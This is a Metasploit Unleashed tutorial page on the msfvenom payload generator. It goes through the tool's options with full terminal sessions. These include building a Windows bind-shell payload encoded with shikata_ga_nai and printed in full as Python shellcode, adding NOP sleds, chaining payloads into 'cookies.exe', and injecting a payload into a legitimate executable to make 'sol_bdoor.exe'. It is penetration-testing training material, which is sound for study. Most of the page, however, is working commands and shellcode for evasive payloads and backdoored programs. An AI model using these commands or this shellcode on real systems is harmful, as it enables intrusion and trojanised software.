MSFvenom

msfvenom replaces msfpayload and msfencode | Metasploit Unleashed

MSFvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015.

The advantages of msfvenom are:

• One single tool
• Standardized command line options
• Increased speed

Msfvenom has a wide range of options available:

root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]

Options:
    -p, --payload            Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled             Prepend a nopsled of [length] size on to the payload
    -f, --format              Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder            The encoder to use
    -a, --arch                  The architecture to use
        --platform          The platform of the payload
        --help-platforms             List available platforms
    -s, --space               The maximum size of the resulting payload
        --encoder-space       The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars             The list of characters to avoid example: '\x00\xff'
    -i, --iterations           The number of times to encode the payload
    -c, --add-code              Specify an additional win32 shellcode file to include
    -x, --template              Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out                   Save the payload
    -v, --var-name              Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

We can see an example of the msfvenom command line below and its output:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai succeeded with size 380 (iteration=2)
x86/shikata_ga_nai chosen with final size 380
Payload size: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
buf += "\xe7\x31\x16\x82\xf6\xe2\x89\x89\x75\x67\xf7\xaa\xae"
buf += "\x73\x88\x3f\xf5\x6d\x3d\x9e\xab\x06\xda\xff\x42\x7a"
buf += "\x63\x6b\x72\x59\xf6\x58\xa5\xfe\x3f\x0b\x41\xa0\xf2"
buf += "\xfe\x2d\xc9\x32\x3d\xd4\x51\xf7\xa7\x56\xf8\x69\x08"
buf += "\x4d\x27\x8a\x2e\x19\x99\x7c\xfc\x63\xfa\x5c\xd5\xa8"
buf += "\x1f\xa8\x9b\x88\xbb\xa5\x3c\x8f\x7f\x38\x45\xd1\x71"
buf += "\x34\x59\x84\xb0\x97\xa0\x99\xcc\xfe\x7f\x37\xe2\x28"
buf += "\xea\x57\x01\xcf\xf8\x1e\x1e\xd8\xd3\x05\x67\x73\xf9"
buf += "\x32\xbb\x76\x8c\x7c\x2f\xf6\x29\x0f\xa5\x36\x2e\x73"
buf += "\xde\x31\xc3\xfe\xae\x49\x64\xd2\x39\xf1\xf2\xc7\xa0"
buf += "\x06\xd3\xf6\x1a\xfe\x0a\xfe\x28\xbe\x1a\x42\x9c\xde"
buf += "\x01\x16\x27\xbd\x29\x1c\xf8\x7d\x47\x2c\x68\x06\x0e"
buf += "\x23\x31\xfe\x7d\x58\xe8\x7b\x76\x4b\xfe\xdb\x17\x51"
buf += "\xfa\xdf\xff\xa1\xbc\xc5\x66\x4b\xea\x23\x86\x47\xb4"
buf += "\xe7\xd5\x71\x77\x2e\x24\x4a\x3d\xb1\x6f\x12\xf2\xb2"
buf += "\xd0\x55\xc9\x23\x2e\xc2\xa5\x73\xb2\xc8\xb7\x7d\x6b"
buf += "\x55\x29\xbc\x26\xdd\xf6\xe3\xf6\x25\xc6\x5c\xad\x9c"
buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"
buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"
buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"
buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"
buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"
buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"
buf += "\x3f\x17\xac"

The msfvenom command and resulting shellcode above generates a Windows bind shell with three iterations of the shikata_ga_nai encoder without any null bytes and in the python format.

Here is a list of available platforms one can enter when using the –platform switch.

Cisco or cisco
OSX or osx
Solaris or solaris
BSD or bsd
OpenBSD or openbsd
hardware
Firefox or firefox
BSDi or bsdi
NetBSD or netbsd
NodeJS or nodejs
FreeBSD or freebsd
Python or python
AIX or aix
JavaScript or javascript
HPUX or hpux
PHP or php
Irix or irix
Unix or unix
Linux or linux
Ruby or ruby
Java or java
Android or android
Netware or netware
Windows or windows
mainframe
multi

msfvenom -v or –var-name

Usage: -v, –var-name >name>

Specify a custom variable name to use for certain output formats. Assigning a name will change the output’s variable from the default “buf” to whatever word you supplied.

Default output example:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
buf = ""
buf += "\xda\xdc\xd9\x74\x24\xf4\x5b\xba\xc5\x5e\xc1\x6a\x29"
...snip...

Using –var-name output example:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python -v notBuf
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
notBuf = ""
notBuf += "\xda\xd1\xd9\x74\x24\xf4\xbf\xf0\x1f\xb8\x27\x5a"
...snip...

msfvenom –help-format

Issuing the msfvenom command with this switch will output all available payload formats.

root@kali:~# msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small,
hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection,
psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl,
powershell, ps1, py, python, raw, rb, ruby, sh,
vbapplication, vbscript

msfvenom -n, –nopsled Sometimes you need to add a few NOPs at the start of your payload. This will place a NOP sled of [length] size at the beginning of your payload.

BEFORE:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 299 (iteration=0)
generic/none chosen with final size 299
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
...snip...

AFTER:

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python -n 26
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 299 (iteration=0)
generic/none chosen with final size 299
Successfully added NOP sled from x86/single_byte
Payload size: 325 bytes
buf = ""
buf += "\x98\xfd\x40\xf9\x43\x49\x40\x4a\x98\x49\xfd\x37\x43" **NOPs
buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98"
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload
...snip...

msfvenom –smallest If the –smallest switch is used, msfvevom will attempt to create the smallest shellcode possible using the selected encoder and payload.

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
...snip...

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python --smallest
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 312 (iteration=0)
x86/shikata_ga_nai chosen with final size 312
Payload size: 312 bytes
...snip...

msfvenom -c, –add-code

Specify an additional win32 shellcode file to include, essentially creating a two (2) or more payloads in one (1) shellcode.

Payload #1:

root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox
No encoder or badchars specified, outputting raw payload
Payload size: 267 bytes

Adding payload #2:

root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2
Adding shellcode from messageBox to the payload
No encoder or badchars specified, outputting raw payload
Payload size: 850 bytes

Adding payload #3:

root@kali:~# msfvenom -c messageBox2 -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe
Adding shellcode from messageBox2 to the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1469 bytes
Saved as: cookies.exe

Running the cookies.exe file will execute both message box payloads, as well as the bind shell using default settings (port 4444).

msfvenom -x, –template & -k, –keep

The -x, or –template, option is used to specify an existing executable to use as a template when creating your executable payload.

Using the -k, or –keep, option in conjunction will preserve the template’s normal behaviour and have your injected payload run as a separate thread.

root@kali:~# msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 299 (iteration=0)
x86/shikata_ga_nai chosen with final size 299
Payload size: 299 bytes
Saved as: sol_bdoor.exe